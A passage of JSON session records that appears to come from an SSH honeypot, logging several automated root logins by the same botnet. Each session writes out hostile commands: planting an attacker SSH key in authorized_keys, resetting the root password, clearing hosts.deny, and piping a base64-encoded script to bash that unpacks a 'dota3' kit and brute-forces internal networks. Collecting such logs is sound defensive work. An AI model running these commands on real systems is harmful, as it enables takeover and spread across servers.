AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:57.407822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:57.408657+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:57.658726+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0VamHu2EkenX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T21:15:57.907403+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T21:15:58.156320+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:58.157427+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:58.211852+00:00","kind":"output","latency_ms":552,"data":""},{"seq":10,"at":"2026-08-25T21:15:58.406913+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T21:15:58.994323+00:00","kind":"output","latency_ms":586,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-25T21:15:59.243142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T21:15:59.815714+00:00","kind":"output","latency_ms":571,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T21:16:00.065080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:16:00.065749+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T21:16:00.316816+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T21:16:00.317368+00:00","kind":"output","latency_ms":null,"data":" 21:16:00 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T21:16:00.569063+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T21:16:00.569509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T21:16:00.817394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T21:16:00.817837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T21:16:01.068098+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T21:16:01.068660+00:00","kind":"output","latency_ms":null,"data":"top - 21:16:01 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T21:16:01.318431+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T21:16:01.319034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T21:16:01.569819+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T21:16:01.570466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T21:16:01.819930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T21:16:01.820422+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T21:16:02.070369+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T21:16:02.681961+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T21:16:02.932207+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T21:16:03.399197+00:00","kind":"output","latency_ms":466,"data":"24.02G"},{"seq":34,"at":"2026-08-25T21:16:11.548824+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qaz@WSX,./\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T21:16:11.797170+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T21:16:12.626639+00:00","kind":"output","latency_ms":828,"data":""},{"seq":37,"at":"2026-08-25T21:16:12.643052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T21:16:13.196664+00:00","kind":"output","latency_ms":554,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T21:16:13.446904+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T21:16:13.962860+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T21:16:14.213144+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:16:14.477365+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T21:16:14.932299+00:00","kind":"output","latency_ms":469,"data":"1"},{"seq":44,"at":"2026-08-25T21:16:15.183454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T21:16:15.871698+00:00","kind":"output","latency_ms":687,"data":"1"},{"seq":46,"at":"2026-08-25T21:16:16.123042+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T21:16:25.637152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:25.637772+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qaz@WSX,./","method":"password","accepted":true,"tier":"other"}]} {"id":"363f34e1-fc48-42df-a921-01e431b5c77e","name":"wandering-coastal-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"124.156.173.135","src_port":51870,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":673,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:55:06.836657+00:00","ended_at":"2026-08-25T19:55:07.041931+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3981,"events":[{"seq":1,"at":"2026-08-25T19:54:27.338074+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:54:28.009697+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:54:33.233044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:54:33.234025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:54:33.906690+00:00","kind":"input","latency_ms":null,"data":"echo \"root:yhr90Ge8Aqz2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T19:54:34.579498+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T19:54:34.700544+00:00","kind":"output","latency_ms":792,"data":""},{"seq":8,"at":"2026-08-25T19:54:35.252444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T19:54:35.253733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T19:54:35.929130+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T19:54:37.039038+00:00","kind":"output","latency_ms":1112,"data":"15888 2310 13578 0 0 0"},{"seq":12,"at":"2026-08-25T19:54:37.712648+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T19:54:38.390449+00:00","kind":"output","latency_ms":677,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T19:54:39.064053+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:54:39.064619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T19:54:39.738599+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T19:54:39.739025+00:00","kind":"output","latency_ms":null,"data":" 19:54:39 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T19:54:40.412047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T19:54:40.412370+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T19:54:41.084903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T19:54:41.085735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T19:54:41.759286+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T19:54:41.759935+00:00","kind":"output","latency_ms":null,"data":"top - 19:54:41 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T19:54:42.433212+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T19:54:42.433503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T19:54:43.106862+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T19:54:43.113794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T19:54:43.779456+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T19:54:43.780101+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T19:54:44.453835+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T19:54:45.427286+00:00","kind":"output","latency_ms":972,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T19:54:46.100828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T19:54:46.679963+00:00","kind":"output","latency_ms":577,"data":"24G"},{"seq":34,"at":"2026-08-25T19:54:48.757758+00:00","kind":"input","latency_ms":null,"data":"echo \"root Dev@1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T19:54:49.430439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T19:54:50.601724+00:00","kind":"output","latency_ms":1170,"data":""},{"seq":37,"at":"2026-08-25T19:54:51.828939+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T19:54:52.548915+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T19:54:53.222781+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T19:54:53.925904+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T19:54:54.602499+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:54:55.269711+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T19:54:56.105915+00:00","kind":"output","latency_ms":835,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-25T19:54:56.780857+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T19:54:57.348907+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-25T19:54:58.024926+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T19:54:58.507116+00:00","kind":"output","latency_ms":483,"data":""},{"seq":48,"at":"2026-08-25T19:55:06.840987+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T19:55:06.843220+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Dev@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"02a89e4b-0910-4990-96c9-bce5bab983df","name":"restless-vigilant-skua","protocol":"ssh","channel_kind":"exec","src_ip":"216.10.242.215","src_port":49222,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:51:28.687254+00:00","ended_at":"2026-08-25T12:51:28.877929+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3437,"events":[{"seq":1,"at":"2026-08-25T12:50:45.824473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:50:46.444628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:50:52.704460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:50:52.704787+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:50:53.322957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6mPOyguPkxby\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T12:50:53.964598+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T12:50:54.094300+00:00","kind":"output","latency_ms":771,"data":""},{"seq":8,"at":"2026-08-25T12:50:54.579847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T12:50:54.580202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T12:50:55.198711+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T12:50:56.400296+00:00","kind":"output","latency_ms":1201,"data":"15888 3241 9743 143 2902 0"},{"seq":12,"at":"2026-08-25T12:50:57.019093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T12:50:58.318464+00:00","kind":"output","latency_ms":1299,"data":"-rwxr-xr-x 1 root root 142K Mar 25 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T12:50:58.936462+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:50:58.937340+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T12:50:59.554640+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T12:50:59.555303+00:00","kind":"output","latency_ms":null,"data":" 12:50:59 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T12:51:00.173781+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T12:51:00.174274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T12:51:00.802062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T12:51:00.802543+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T12:51:01.422763+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T12:51:01.423301+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:01 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T12:51:02.041795+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T12:51:02.042329+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T12:51:02.659013+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T12:51:02.659661+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T12:51:03.275561+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T12:51:03.276218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T12:51:03.892384+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T12:51:04.515794+00:00","kind":"output","latency_ms":622,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":32,"at":"2026-08-25T12:51:05.134686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T12:51:05.984922+00:00","kind":"output","latency_ms":849,"data":"24G"},{"seq":34,"at":"2026-08-25T12:51:07.970702+00:00","kind":"input","latency_ms":null,"data":"echo \"root Ruibo2014!@#\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T12:51:08.588308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T12:51:09.279628+00:00","kind":"output","latency_ms":690,"data":""},{"seq":37,"at":"2026-08-25T12:51:10.802889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T12:51:11.555760+00:00","kind":"output","latency_ms":748,"data":"horsefeed: oats=120 hay=84 water=restocked\n"},{"seq":39,"at":"2026-08-25T12:51:12.170468+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T12:51:12.645107+00:00","kind":"output","latency_ms":474,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":41,"at":"2026-08-25T12:51:13.264657+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:51:13.883515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T12:51:14.640887+00:00","kind":"output","latency_ms":756,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":44,"at":"2026-08-25T12:51:15.259614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T12:51:16.085905+00:00","kind":"output","latency_ms":825,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":46,"at":"2026-08-25T12:51:16.704061+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 